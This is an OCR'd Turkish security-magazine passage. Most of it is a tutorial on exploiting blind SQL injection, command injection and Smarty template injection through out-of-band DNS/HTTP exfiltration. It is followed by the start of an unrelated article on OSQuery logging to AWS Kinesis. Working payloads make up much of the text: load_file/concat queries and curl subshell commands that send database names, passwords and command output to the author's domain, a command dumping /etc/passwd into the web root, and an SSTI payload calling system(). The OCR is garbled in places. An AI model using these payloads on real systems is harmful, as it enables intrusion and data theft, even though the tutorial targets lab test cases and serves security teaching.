Gelelim OOB’ye. $imdi yukaridaki blind zafiyetleri géziimiiziin 6niine getirelim. Ortak problemimiz neydi? Atak yapryor iken
¢ikt alamadigimizdan atagimizin durumunun ne oldugunu géremiyor idik. Bu tarz durumlarda OOB teknigi yardimimiza
yetisiyor.

OOB, her blind zafiyette kullanilamayabiliyor. Ama ¢ogunlukla kullanabiliyoruz.

[k béliimde OOB’nin tanimini yapmis idik. Saldir1 esnasinda atak yapan (client) ile server arasinda agilan socket’in digina ¢1-
karak saldiriy1 nihayete erdirmeye ¢alismaya demistik. Peki bunu nasil yapacagiz?

Bunun birden fazla yolu var ama hepsinin ortak noktasi ve aslinda isin mantig1 su: disartya bir istekte bulunabilmek. Atak ger-
geklestirdigimiz sunucudan disariya bir istek gondermeyi basarabiliyor isek, OOB teknigi ile zafiyeti somiirebiliriz.

Sunucudan disariya istek yollamanin birden fazla yontemi var. Hatta insanlarin bilmedigi sizin kesfedeceginiz yeni yontemler
bile olabilir. Ucu ¢ok agik ama genelde HT'TP, DNS ve FTP protokolleri kullaniliyor.

Saldirmaya calistigimiz sunucudan disariya bir HTTP, DNS, FTP veya herhangi bir protokolden paket gonderebiliyor isek,
sunucudaki hassas bilgileri o pakete dahil edip disariya ¢ikartabiliyor.

Not: Bir sistemden disariya veri ¢ikartma islemine “data exfiltration” yani “veri sizintis1” deniyor.
Burada 6ntimiize 2 problem ¢ikiyor.

1. Veriyi digariya nasil ¢ikartacagiz?

2. Datalar1 nereye gonderecegiz?

1. sorunun ¢dziimii gok degisken. Daha 6nce de dedigim gibi, her Blind zafiyeti OOB ile somiiremeyebiliriz. Bu biraz da sunucu
tarafinda kullanabildigimiz yontemlere, yapilan konfigiirasyona gore degisiyor.

Bunun i¢in zafiyetin tipine gore aragtirma yapmamiz gerekiyor. Ornegin SQL Injection igin konugacak olursak, query icerisinde
sunucu disina istek yollayacak bir yontem bulmamiz lazim.

Biraz diistiniin, bulamaz iseniz devam edin. :)
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Blind SQL Injection zafiyetini 00B Teknigi ile Somiirmek

Her veritabanina 6zgii baz1 yontemler var. Bunlardan bazilar1 default geliyor, bazilari i¢in ek konfigiirasyon yapilmas: gerekiyor.

MySQL

MySQLde “secure_file priv’ adinda bir variable mevcut. Bu variable; LOAD DATA, OUTFILE, LOAD_FILE() gibi import/
export operasyonlarini kontrol ediyor. Bu degiskene 3 farkli tipte deger atayabiliyoruz. Atadigimiz degerlere gore MySQLin
davranis1 agagidaki gibi.

Deger olarak,
o Sistem tizerindeki bir directory path set edilir ise => MySQL, export ve import islemlerini sadece bu dizin tizerinde ger-
ceklestirir.

o NULL set edilir ise => MySQL import ve export islemlerininde kullanilan LOAD DATA, OUTFILE, LOAD_FILE() gibi
komut ve fonksiyonlarin hepsini disable eder.

« Higbir sey set edilmez ise (empty) => Istenilen her yere export ve import islemleri yapilabilir.
En giivensizi ve bizim OOB atak yapmamiz: saglayacak olan deger 3. maddedeki gibidir. Eger “secure_file priv” degiskeni bos
(empty) degil ise OOB atak yapamayacagiz.

o MySQL 5.5.34de bu degisken default olarak BOS geliyor.

o MySQL 5.6.34de bu degisken default olarak NULL geliyor.

Gel gelelim export/import islevlerinin bizim ne igsimize yarayacagina. LOAD DATA, OUTFILE, LOAD_FILE() gibi komut ve
fonksiyonlar, disaridan da dosya import edebilme 6zelligine sahipler. Bakin burasi cokomelli, disaridan dosya import etmek
demek bir HTTP istediginin gonderilmesi demek. Import edecegimiz dosya adresine hali hazirda injection yapip komut ¢alis-
tirabildigimiz MySQL sunucusundaki verileri de ekler ve import edilecek dosyanin oldugu sunucuda gelen istekleri takip eder
isek iceriden digariya data extract etmis olacagiz.

LOAD_FILE ile bir 6rnek yapalim.

Onceki boliimde SQL Injection hazirladigimiz testcase’i kullanalim. Onceki béliimlerde de belirttigim gibi size SQL Injection
101 anlatmayacagim. Direkt OOB 6rnegi gosterecegim.

OOB i¢in LOAD_FILE kullanarak hazirladigim komut su sekilde;
load file (concat (*\\\\’, database(), ‘.omercitak.net\\abc’))

Yukaridaki komut concat ile database ismini omercitak.net alan adinin subdomaini olacak sekilde birlestirmis ve olusan string’i
load_file fonksiyonu igerisine yerlestirmis.

Eger database ismini “deneme” ise concat fonksiyonunun return ettigi string su sekilde olacak: “\\\\deneme.omercitak.net\\abc”
Bu payload’'imizi inject etmek i¢in tam olarak su sekilde bir payload yazmamiz gerekiyor:
union select load file (concat (‘\\\\’, database(), ‘.omercitak.net\\abc’)),1,2

Browser'imizdan vulnerable olan id parametremize gonderiyoruz.

@ localhost/oob/?id=1 unionselec X [f] URL Decoder/Encoder % +
s C @ localhost
id: 1 - username: om3reitakid: - username: 1

Hemen Respondera bakalim.
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Gordugiiniiz gibi DNS logunda subdomain olarak “oob” harflerini gortiyoruz. Veritabani ad: “oob” imis.
Versiyon bilgisini de gekelim.

union select load file(concat (‘\\\\’, version(), ‘.omercitak.net\\abc’)),1,2

b/?id=1 union selec X [ URL Decoder/Encoder X +
& C @ localhost

id: 1 - username: om3reitakid: - username: 1

[*] [DNS] Poiso

NTLMv2-55P Client
SSP Username :

Versiyon bilgisi de geldi. 10.1.37 MariaDB.
Hadi simdi de subquery yazip veritabanindaki kullanicilarin parolalarini ¢ekelim.

union select load file(concat (*\\\\’, (select password from users where id=1l), ‘.omercitak.
net\\abc’)),1,2

(<, |

x [ URLDe

& C @ localhost | t | * 0

id: | - username: om3reitakid: - username; |

[*] [DNS] Poisoned answer Gt ] 1 rcitak.net
NTLMvZ-S5P Client
NTLM SSP Username :
NTLMv2-55P Hash

1. kullanicinin parolasi 123456 imis.

Gerisi size kalmus.

PostgreSQL

PosgreSQL i¢in halihazirda yaptigimi tekrar yapmaya gerek yok, buraya demo videosu-
nun adresini birakiyorum izlersiniz :)

https://www.youtube.com/watch?v=8ItJbYrZOK8
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Blind Command Injection zafiyetini 00B Teknigi ile Somiirmek
Blind Command Injection i¢in 6rnek kod parcasini “Kor Zafiyetler” bolimiinde vermistik. Kodu hatirlayalim:

<?php
shell exec($ GET[‘cmd’]);
?>

Querystring “cmd” parametresinden payload gonderip sistem iizerinden hangi komutu ¢alistirirsak ¢alistiralim bir ¢ikti alama-
yacagiz. OOBden 6nce buraya time-based bir atak gergeklestirip davranis1 analiz edelim.

@ 1921685213 Temdeglesp S X = g X

£ C (@ MNotsecure | 19216852131 0 © B g

e 06 =vq = % O Gowbyk

Hide aata URLs WHR 15 055 Img Media Foni Doc W Maniest Gther

Name Status Type Initiator Size Tiene Watorfal
Temd=sheep %205 200 document 2038 509 I

Goruldugi tizere “sleep 57 komutunu gonderdim ve sayfanin yiiklenme siiresi 5 kiisiir saniyeyi buldu. Bunu farkli zamanlar
vererek 2-3 deneme sonucunda confirm edebilirsiniz.

NOT: PHP dosyam Linux sistem {izerinde ¢alistigindan “sleep” komutunu kullandim. Yanlis hatirlamiyor isem Windowsda
sleep komutu yok. Sistem Windows olsaydi sleepe alternatif bir Windows komutu kullanacak idim.

Simdi, gelelim bu zafiyeti OOB teknigi ile somiirmeye.

Ne demistik? Bu sunucudan disariya bir istek yollamamiz gerekiyor. Bunun i¢in bir¢ok Linux komutu mevcut. nslookup, wget
vs. Biz “cur]l” komutunu kullanacagiz.

@ 192.168.52.131/?2cmd=curl omer. X -+

< &7 @® Notsecure | 192.168.52.131/?cmd=curl%20omercitak.net

curl omercitak.net

Direkt bu komutu yolladigimizda Responderimiza ilgili DNS query’nin geldigini goriiyoruz.

Sending NTLM authentication request to
*] [DNS] Poisoned answer sent to: 193.192.98.16 Requested name: .omercitak.net
2]

[..
[:

[DNS] Poisoned answer sent to: 193.192.98.19 Requested name: .omercitak.net
Sending NTLM authentication request to 223

E peki nasil data extract edecegiz? Bunun i¢in “sub command” olayini kavramamiz gerekiyor. Linux sistemlerde komut i¢inde
komut caligtirabiliyoruz. Zira bu zafiyeti OOB olarak somiirebilmek i¢in buna ihtiyacimiz var. Tipki SQL Injectiondaki gibi
caligtirdigimiz komutun ¢iktisini omercitak.net alan adinin 6niine subdomain olarak yerlestirerek curl ile istek yollayacagiz.

Linux sistemlerde 2 sekilde sub command kullanabilirsiniz.

1. Kiytirik tirnak () i¢ine komutunuzu yazarak. Ornegin “whoami'’

2. $(command) sablonunda command yerine istediginiz komutu yazarak. Biz her ikisini de kullanacagiz.
Oncelikle webserver’in calistigi kullanicinin adini 6grenelim.

curl “whoami .omercitak.net

192.168.52.131/?2cmd=curl omer. X -+

< X @ 192.168.52.131/?cmd=curl%20 whoami .omercitak.net
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Responder’a gelen istek;

[+] Listening for events...

[*] [DNS] Poisoned answer sent to: 193.192.98.16 Requested name: .www.data.omercitak.net
Sending NTLM authentication request to

Kullanicimiz www-data imis.

Simdi ise dosyamizin ¢alistig1 dizinin yolunu 6grenelim. Bu yol bizim igin 6nemli. Zira bu yol, sistem {izerinde web server'in ya-
yin yaptig1 herkese agik tek dizin. Bu dizini 6grenir isek ve bu dizine yazma iznimiz var ise zafiyetin tipini OOBden Reflected’a
cekebiliriz.

Bulundugum dizini 6grenmek i¢in kullanmam gereken komut “pwd”lakin bir 6nceki komutta oldugu gibi yani su sekilde KUL-
LANAMAYACAGIM.

curl “whoami  .omercitak.net

Bu sekilde kullanamamamuin sebebi ise dizin yolunda slash “/” karakterinin olmasi. Bir subdomainde slash karakteri olamaya-
cagindan curl komutu hata verecektir. “Sed” komutunun yardimi ile basit bir RegEx pattern’i uygulayarak slash karakterlerini
nokta ile replace edecegim.

sed “s/\//./g” <<< ‘pwd’
Tabi bu komutu omercitak.nete subdomain olarak verebilmek i¢cin komple subquery i¢ine almaliyim. Yani su sekilde olmaly;
curl a$(sed “s/\//./g” <<< ‘pwd’) .omercitak.net

curl den sonra $ isaretinden 6nce a harfi koymamin sebebi ise donecek olarak path’in fullpath olmasi. Slash karakterlerini
nokta ile replace ettigimizden donen dizin yolu “deneme.deneme2.deneme3” gibi birsey olacak. Bir domain nokta ile baglaya-
mayacagl i¢in curl hata verecekti. Ya bastaki noktayi silecektik ya da benim yaptigim gibi rastgele bir harf koyarak curl'un hata
vermesini engelleyecektik.

@ 192.168.52.131/?cmd=curl a§(se. X B

< C  (® Notsecure | 192.168.52.131/2cmd=curl%20a$(sed%20"s/\//./g"%20 < < <%20 pwd").omercitak.net

[+] Listening for events...

[*] [DNS] Poisoned answer sent to: 193.192.98.16 Requested name: .a.var.www.html.omercitak.net
Sending NTLM authentication request to

Ciktr: .a.var.www.html.omercitak.net

Bastaki a harfini biz koymustuk. Onu gérmezden gelip geri kalana bakar isek dizinimizin “/var/www/html” oldugunu gérece-
giz.

Hadi simdi public dizine data extract edelim!

cat /etc/passwd > /var/www/html/dump.txt

Seklinde bir komut ile passwd dosyasini public dizinde dump.txt adinda bir dosya olusturup i¢ine yazdim. Response’'un bos

donmesini umursamiyorum. Zaten blind bir zafiyet oldugunu biliyorum.

@ 192.168.52.131/?cmd=cat fetc/p X +

< = ® Not secure | 192.168.52.131/2cmd=cat%20/etc/passwd %20 > %20/var/ww

Simdi browserdan dump.txt’yi ziyaret edip /etc/passwd dosyasini public dizine yazabilmis mi diye bakacagim.
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@ 192.168.52.131/dump.txt X -

< C  @© Notsecure | 192.168.52.131/dump.txt

root:x:8:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:6@:games: /usr/games: /usr/sbin/nologin

man:x:6:12:man: /var/cache/man: /usr/sbin/nologin

lp:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin

mail:x:8:8:mail:/var/mail: /usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:1@:18:uucp:/var/spool/uucp: /fusr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups: /usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd: /var/run/ircd: fusr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody i x:65534:65534: nobody: /nonexistent: /usr/sbin/nologin
systemd-timesync:x:100:162:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:181:183:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
syslog:x:1e4:188::/home/syslog: /bin/false
_apt:x:185:65534: : /nonexistent:/bin/false
messagebus:x:186:118::/var/run/dbus:/bin/false

uuidd:x:187:111::/run/uuidd: /bin/false

lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent: /bin/false

avahi-autoipd:x:116:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:128:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq, ,,:/var/lib/misc:/bin/false

colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudic daemon,,,:/var/run/pulse:/bin/false

kbt i v 1124198 Daal+dmald+ vimmmass fhdin fFfalea

Ve sonug goriindiigii gibi. Atag: gelistirmek size kalmus.

Blind SSTI (Server-side Template Injection) zafiyetini 00B Teknigi ile Somiirmek
Modern web uygulamalari, daha okunabilir ve gelistirilebilir kodlar yazabilmek, performans gibi sebeplerden dolay: - Template
Engine-ler kullanir. Bu template engine’ler, dikkatli kullanilmaz ise ¢ok tehlikeli bir hal alir.

Birgok dilde birgok template engine mevcut ve bunlarin biiyiik bir boliimii vulnerable.

PHP iizerinde galisan Twig adli template engine {izerinden SSTT1 anlattigim blogpost'u buraya birakiyorum. SSTI nedir bilmi-
yor iseniz 6nce bunu okuyun, sonra buradan devam edin.

https://www.netsparker.com.tr/blog/web-guvenligi/server-side-template-injection-zafiyeti/

SSTI zafiyetlerini exploit edebilmek i¢in “tplmap” adinda bir tool var. Tipki SQL Injection zafiyetlerinde kullandigimiz sqlmap
gibi. Tplmap toolunu yazan arkadas sagolsun tool ile birlikte test caseleri de yayinlamis. Tplmap'in iginde gelen vulnerable test
case’leri ayaga kaldirip tizerlerinde OOB teknigini deneyecegiz.

24
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Tplmap GitHub reposu: https://github.com/epinna/tplmap
git clone https://github.com/epinna/tplmap

Komutu ile Tplmap toolunu ve tiim test case’leri bilgisayarimiza klonluyoruz.
cd tplmap/docker envs/

Komutu ile test caselerin docker dosyalarinin oldugu dizine gegiyorum.
docker-compose up tplmap test php

Komutu ile docker-compose’u kullanarak Dockerfiledan image iiretilip image kullanilarak yeni bir container olusturulmasini
sagliyorum.

S e ey m——
Help
git clone https://github.com/epinna/tplmap
Cloning into 'tplmap'...
remote: Enumerating objects: 4059, done.
remote: Total 4059 (delta 0), reused 0 (delta 0), pack-reused 4059
Receiving objects: 100% (4059/4059), 622.93 KiB | 1.37 MiB/s, done

Resolving deltas: 100% (2682/2682), done.
omer@ubuntu:~$ cd tplmap/docker-envs/
omer@ubuntu:~/tplmap/docker-envs$ docker-compose up tplmap_test_ph
p
Creating network "docker-envs_default" with the default driver
Building tplmap_test_php
Step 1/8 : FROM php:7.2.10-apache

---> a7d68dad7584
Step 2/8 : RUN apt-get update && apt-get install --upgrade dnsutil
s python-pip -y

---> Using cache

---> 4f1e3fd540a0

Not 1: Testlerin ayaga kalkmasi i¢in makinanizda docker ve docker-compose’un kurulu olmas: gerekiyor.

Not 2: Tiim test case’leri degil de sadece 1 dile ait testcase’leri ayaga kaldirmak i¢in yukarida kullandigimiz gibi “docker-com-
pose up tplmap_test_php” komutunu kullanabilirsiniz. Sadece “docker-compose up” komutunu ¢alistirir, herhangi bir service
ismi vermezseniz tiim testcase’ler ayagiya kalkacaktir.

Test case’'imiz ayagiya kalktiktan sonra Smarty tizerinden testimizi gergeklestirelim. {5*6} gibi ¢cok basit bir SSTT payloadi gon-
derip, matematik isleminin responseda olup olmadigini kontrol edelim.

@ 192.168.52.131:15002/smarty-3.7 X +
< C  @® Notsecure | 192.168.52.131:15002/smarty-3.1.32-unsecured.php?inj={5*6}
HYKVP6QzSLE9x381qUeo2
Goriindiigi gibi 30’u responseda gordiik. Burada vulnerable bir Smarty oldugunu bilmesek bile bu payload sonrasinda kuvvetle
muhtemel burada vulnerable bir Smarty var diyebilirdik.

Simdi, SSTI zafiyeti {izerinden sistemde komut ¢alistirmay1 deneyecegiz. Yani zafiyeti SSTIdan Command Injectiona gevirece-
giz. Tabii bunu direkt yapamayacagiz, 6nce SSTI'1 Code Evaluationa, ardindan Command Injectiona gevirecegiz.

SSTT’dan Code Evaluation’a;
Smarty “{php}” tag arasinda gordiigii kodlar1 direkt eval eder. Yani “{php} print_r(‘deneme’) {/php}” yazarsak kodumuz ¢alisa-

caktir.

Madem kod calistirabiliyoruz, bunu sistem iizerinde komut ¢alistirabilecegimiz bir hale getirelim.




ARKA KAPI Omer Citak - Out-of-band Ataklar

Code Evaluationdan Command Injection’a;
Smarty Engine i¢inde gelen “Smarty_Resource” adinda bir smif var ve bu sinif igerisinde “parseResourceName” adinda bir
metot var.

Adindan da anlasilabilecegi gibi bu metot resource name’leri parse edip print eden bir method. 2 parametresi var:

Biz ilk parametresine ¢iktisini gérmek istedigimiz PHP kodunu, 2. parametresine ise PHP hata vermesin diye rastgele bir harf
girecegiz.

Not: Bu yontemi ben gelistirdim, hicbir yerde gegmez. Isterseniz aragtirin. Bu da Arka Kap1 okurlarina bir kiyagim olsun, sizlere
priv8 bir metot veriyorum.

Sonug olarak payload’imiz su hali alacak;
{php}print r(Smarty Resource::parseResourceName (system(“1ls -1la”),’b’));{/php}

$imdi QueryString inj parametresine bu hazirladigimiz payload’ gonderelim. Bakalim “Is -la” komutunun ¢iktisini gorebilecek
miyiz?

x4
"3 c @ Mot secure | 19216852131 ! T

pRMIe6iTADotal 40 drwxe-xr-x | www-data wow-data 4096 Jul 5 16:29 . drwxr-xr-x 1 root root 4096 Sep 5 2018 ., «rw-r--r-- | root root 736 Jul 5 16:26 eval php droxe-:
16:07 lib -rw-r—r-- | root root 759 Jul 5 16:26 smarty-3.1.32-secured. php -rw-r--r-- | root root 865 Jul 5 16:26 smarty-3.1.32-unsecured. php droxrox--x 2 www-data www
templates_c -rwore-r-- | root root 912 Jul 5 16:26 twig-1.19.0-unsecured php -rwor--r-- | root root 912 Jul 5 16:26 twig-1.20.0-secured_php Array ( [0] == -rwereg-- | root ¢
1.20,0-secured php [1] => b ) KSi8juLOI6

Stiper! Bekledigimiz ¢iktiyr aldik. Simdi de /etc/passwd dosyasini okumaya galigalim.

{php}print r(Smarty Resource::parseResourceName (system(“cat /etc/passwd”),’b’));{/php}

;- 8

v A2Ir Wroot:x:0:0:root: root:/bin/ba nsh .meu x: 1 daemon: use/sbin: use'sbin/nologin bin:x:2:2:ban: bin:/usrshin/nologin sys:x: ys:/dev:use'shin/nologin
):pames: ‘usy/games: use/shin/nologin manix:6: 1 2:man:var/cache/ man: g ‘Tdprivar '.puul Ipd s shin

9:news: ‘vap'spool news: usy'sbin/nol

R L1m varwww use sbin nologin backup:x:34:34:backup: var'bac kup usp ‘.hm nologin list:x:38:38:Mailing List Manager:/var/lis

e ired:var/min/ired:/use/sbin/nologin gnatsix:41:41.Gnats Bug-Reporting System (admin):var/lib'gnats: usr/sbin/nologin nebody:x:65334:65534: :mhmh nonexi

_aptx: | 00:65534: /nonexistent: bin/false messagebus:x: 101:101 2 var'ma/dbus:bin/false Array ( [0] == x:101: 101 :/'var/mn/dbus: bin/false [1] => messagebus ) hRSWEmwT

Stiper! Buraya kadar klasik reflected bir zafiyet. Tplmap'i gelistiren dolayis ile bu test case’leri de gelistiren arkadas test case’lere
soOyle bir 6zellik koymus. QueryStringden “blind” adinda bir metod génderirseniz zafiyet blind oluyor.

Simdi bir 6nceki URLe ek olarak QueryStringden “blind” parametresini ekleyip gonderelim.

@ 19216852131:15002 smaity x  +
- o @ Notsecure | 19216852131 ¥ =
IrUp4L9ivV)

Evet gordiigiiniiz gibi herhangi bir ¢ikt1 alamadik. Yani zafiyetimiz blind.

Simdi burada OOB teknigini uygulayarak data extract edelim. Dikkat ederseniz zafiyeti SSTIdan Command Injectiona gevire-
bilmistik. Zaten yukaridaki boliimde Command Injectionda Responder'imiza nasil istek génderecegimizi gormiistiik.

curl “whoami .omercitak.net

Ayni teknigi burada da kullanalim.

£ C @ Notsecure | 19216852131 | t T
SOMeLIZ940

Ve ¢iktimiza bakalim:

[DNS] Poiéoned answer sent to: 3.123.23. Requested name: .www.data.omercitak.net

1
*] [DNS] Poisoned answer sent to: 3. .180.128 Requested name: .www.data.omercitak.net
] [DNS] Poisoned answer sent to: 3.120.180.128 Requested name: .www.data.omercitak.net
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Gortldigt gibi yine whoami komutu sonucu www-data sonucunu almisiz.

Bagka bir postta goriismek iizere, happy hacking!

Kaynaklar
https://github.com/SpiderLabs/Responder
https://www.exploit-db.com/docs/english/41273-mysqgl-out-of-band-hacking.pdf

https://github.com/epinna/tplmap

Yazilim Mihendisligine Giris

Programciligin Temel Kavramlariyla Yazilim
Miihendisligi
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OSQuery ile Cihaz
Gozetleme ve AWS’ye
Loglama

SQuery SQL sorgulari ile isletim sistemi izerinden

bilgi edinebilmemizi saglayan agik kaynak bir ya-

zihmdir. Facebook tarafindan gelistrilen OSQuery
kaynak koduna Github {izerinden erisebilirsiniz.

o Facebook OSQuery agkla gelistirdigini séylemektedir.

o Acik kaynak olmasi bir¢ok kisi tarafindan tercih edilmesi-
ni sagliyor.

« OSQuery ile sunucu yada kisisel bilgisayarlarin isletim
sistemi fark etmeksizin, Windows, OS X, GNU/Linux ve
FreeBSD isletim sistemleri ile ¢aligabilmektedir.

OSQuery ile isletim sistemine tipk: bir veritabanina sorgu
gonderir gibi sorgular gonderebilirsiniz.Bu sekilde acik port-
lar, takili usbler, hangi bilgisayarlarin update almas: gerekti-
gi, kullanic1 hesaplar1 bilgileri ve benzeri bir¢ok bilgiyi SQL
sorgulari ile edinebilir ve bunlar1 zamanlayip belirli araliklar
ile caligmasini saglayabiliriz. Ayrica YARA kurallarini da kul-
lanabiliriz. (YARA, bir zararl: belirleme, tespit etme aracidir.)

OSQuery yaklagik 20MB bir kurulum paketine sahiptir, kendi
web siteleri tizerinden belirtilen kurulum adimlarini izleyerek
kisa siire icerisinde kurulumunu gergeklestirebilirsiniz.

Windows isletim sistemleri i¢in Choco paketi, Linux sistemler
i¢in ise apt & rpm repolarinda kurulum paketleri bulunmak-
tadir.

Centos7 igin bir drnek ile ilerleyelim.

Repo bilgilerini ¢ekip rpm tizerine ekliyoruz.
$ curl -L https://pkg.osquery.io/rpm/GPG |
sudo tee /etc/pki/rpm-gpg/RPM-GPG-KEY-osquery

Sonrasinda yum-config-manager ile osquery reposunu
ekliyoruz ardindan rpm paketini enable ediyoruz.

$ sudo yum-config-manager --add-repo https://
pkg.osquery.io/rpm/osquery-s3-rpm. repo

$ sudo yum-config-manager --enable osquery-s3-
rpm

En son adimda osquery kurulumunu baslatiyoruz.

$ sudo yum install osquery
/etc/osquery/osquert.conf dosyasini olugturup osquery dae-
mon baslatirken konfig dosyasi olarak belirtiyoruz.

Bu konfig icerisinde hostname ismini, zamanlanmis gorev
olarak belirlenen sorgulari1 yaziyoruz ayrica osqueryin bu
zamanlanmis sorgularin sonuglarini aws kinesise gonderebi-
lirsiniz. Bunun islem igin aws_kinesis, filesystem eklentilerini
kullanmali ve aws bilgilerini (aws_kinesis_stream,aws_ac-
cess_key_id, aws_secret_access_key,aws_region) konfig dos-
yast igerisinde belirtmeniz gereklidir. Kinesis tizerindeki is-
lemleri yazinin devaminda bulabilirsiniz.

{
“options”: {
“host identifier”: “hostname01”,
10,
“logger plugin”: “aws_ kinesis,filesystem”,

“schedule splay percent”:

“aws_ kinesis stream”:
“**********************",

“aws_access _key id”:
“**********************",

“aw s _secret access key”:
“**********************",

“Yaws region”: Nk khkhhkhkkhkkhhkhkrhkkhkhkhrxxkkkxx/

}I
“schedule”: {
“ssh login”: {
“query”: “SELECT
“interval”: 2,

* FROM last;”,
“removed”: false
}I
“time”: |
“query”: “SELECT * FROM time;”,
“interval”: 2,

“removed”: false
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Interaktif kabuk modunu ¢aligtirmak igin osqueryi komutu-
nu vermemiz yeterli ardindan karsilacagimiz ekrandan gesitli
sorgular yazarak sistem hakkinda bilgi alabiliriz.

Using a virtual database. Need help,
‘.help’
osquery>

type

1.) Sistemin ne kadar siiredir agik oldugunu 6grenmek igin
“SELECT * FROM Uptime;” sorgusunu ¢alistirabiliriz.
Using a virtual database.

‘.help’
osquery> SELECT * FROM Uptime;

Need help, type

- Fomm———— Fommmm o Fo—m———
———————— +

| days | hours | minutes | seconds | total
seconds |

- - o o -
———————— +

[0 | O | 31 | 58 | 1918

|

+-———— - - +——————— o
———————— +

Ornekler cesitlendirilebilir.

2.) Sistem tizerindeki kullanicilarin listesini ¢ekmek i¢in:

osquery> select uid, username, directory,
shell from users;

fom———— fom fom -
——————— o

| uid | username | directory

| shell |

fo————— R et e o
——————— o4

| 0 | root | /root

| /bin/bash |

|1 | daemon | /usr/sbin

| /usr/sbin/nologin |

| 2 | bin | /bin

| /usr/sbin/nologin |

| 3 | sys | /dev

| /usr/sbin/nologin |

| 4 | sync | /bin

| /bin/sync |

fom———— o o
——————— o ——— 1

3.) Isletim sistemi iizerinde kurulu olan

paketleri listelemek igin:
osquery> SELECT * FROM yum sources;

- Fm
————— -
_____________________________ +

| name | baseurl | enabled |
gpgcheck | gpgkey|

- - - Fo———— -
___________________ +

| CentOS-Sreleasever - Base | [ 1

file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
!

| CentOS-S$Sreleasever - Updates | [ ] 1 |
file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
!

| CentOS-$releasever - Extras \ | [ 1 |
file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
!

| CentOS-S$releasever - Plus | | 0 | 1]
file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

4.) Acik portlari listelemek i¢in:

osquery> select * from listening ports;

e it e it Fom Fo————— Fo——
-+

| pid | port | protocol | family | address
l

R it fo———— fom - fom— fomm
-+

| 2600 | O [0 [ 1 |

l

e e et R i e fomm————
-+

5.) Kullanicilarin shadow dosyasindaki hash bilgilerini almak
icin:

osquery> select * from hash where path = '/
etc/shadow’ ;

fo——— +-—— +-——————— fo——— Fomm
___________________ +

| path | directory | md5

shal | sha256
|

+-—— +-— +-—— +-——— f-————
—————————————————— +| /etc/shadow | /etc |
b6156e21a94627f1e010019438¢c73d82 | fabcalc-
15f080aa3c20b4bbb80961elefdlfafb3 |adacbbedf-

1£f07b4e066e31b1£f2e021b9184315d45b58950d6£d3b-
da231d8d833 |

6.) Usb cihazlar listelemek igin:

osquery> select * from usb devices;

Kayitlarin ve Sorgu Ciktilarinin AWS’ye

Loglanmasi
Amazon Web Servisleri iizerinde bulunan, akan verinin alin-
masl, sorgulanmasi, kalic1 depolamaya kaydedilmesi gibi isler-
de yararlanilabilecek Kinesis altindaki servisler OSQuery ile
birlikte kullanilabilir. Bunun i¢in 6nce AWS IAM {izerinden
bir hesap olusturularak, hesap olusturma asamasinda Prog-
rammatic Acceess secilerek API erisimi tanimlanir. Hesap
olusturma sirasindaki yetkilendirme ekraninda, Attach exis-
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ting policies directly secenegi altindan Kinesis erigimi aktiflestirildikten sonra kullanici erigim bilgileri kaydedilir.

AWS tizerinde Kinesis servisi acilir. Daha 6nce kullanilmadiysa Get Started butonu {izerinden ilerlenir ve Create data stream

butonuna tiklanir:

Get started with Amazon Kinesis

To get started, choose an Amazon Kinesis resource to create.

Ingest and process streaming data with Kinesis
streams

Process data with your own applications, or using AWS
managed services like Amazon Kinesis Data Firehose, Amazon
Kinesis Data Analytics, or AWS Lambda.

Q Korersis Deta Aratytics

B>
B8

Create data stream

Gelen ekranda Kinesis akisi i¢in bir isim verilir. Bu 6rnekte osquery kullanilmistir. Shard sayisi segilirken gelecek veri miktari-
na gore tercih yapilabilir. Ornekte 1 olarak belirlendiginde, toplam akis kapasitesi ile ilgili AWS tarafindan hesaplanan bilgiler
gozitkmektedir. Altyap1 ve sorgularin ¢ikt1 biytkliigii gibi etkenler diisiiniilerek shard sayis: degistirilebilir. Ardindan, Create

Kinesis stream butonuna tiklanir:

Create Kinesis stream ]

Kinetis stream name®  csquany

Shards

A shard s & unit of throughput capacity. Each shard ingests up 1o TMEVsec and 10 2MEUsec, To
Tor Pighar or kower Houghesdt, the muenber of shards can be modified e the Kinasis Stream is creatid using the APL Lawm moes

Producen Kiness streamn Consumers

OO0 |— || s BB |[|—| QOO
snard (5 [ (D D

Teital straam capacity Vaiuss are calculied based on She rumiser of shards entensd sbove.

writa 1 MB por seccnd
1000 Flecords per secand
Poad 7 MB por second
s e

Islem tamamlandiginda Kinesis streams altinda olusturulan akis goriintiilenebilir:

Kinesis streams

Kinesis data streams continuously cagture and tempararily store real-time data. Configure producers [ to put data records into a data stream. Configurs consumers [ to continuously process data stream records.

Total shards in use: 1 Total shards remaining: 422 &

b Number of shards v Status - Consumers using enhanced fan-out b

1 Active o
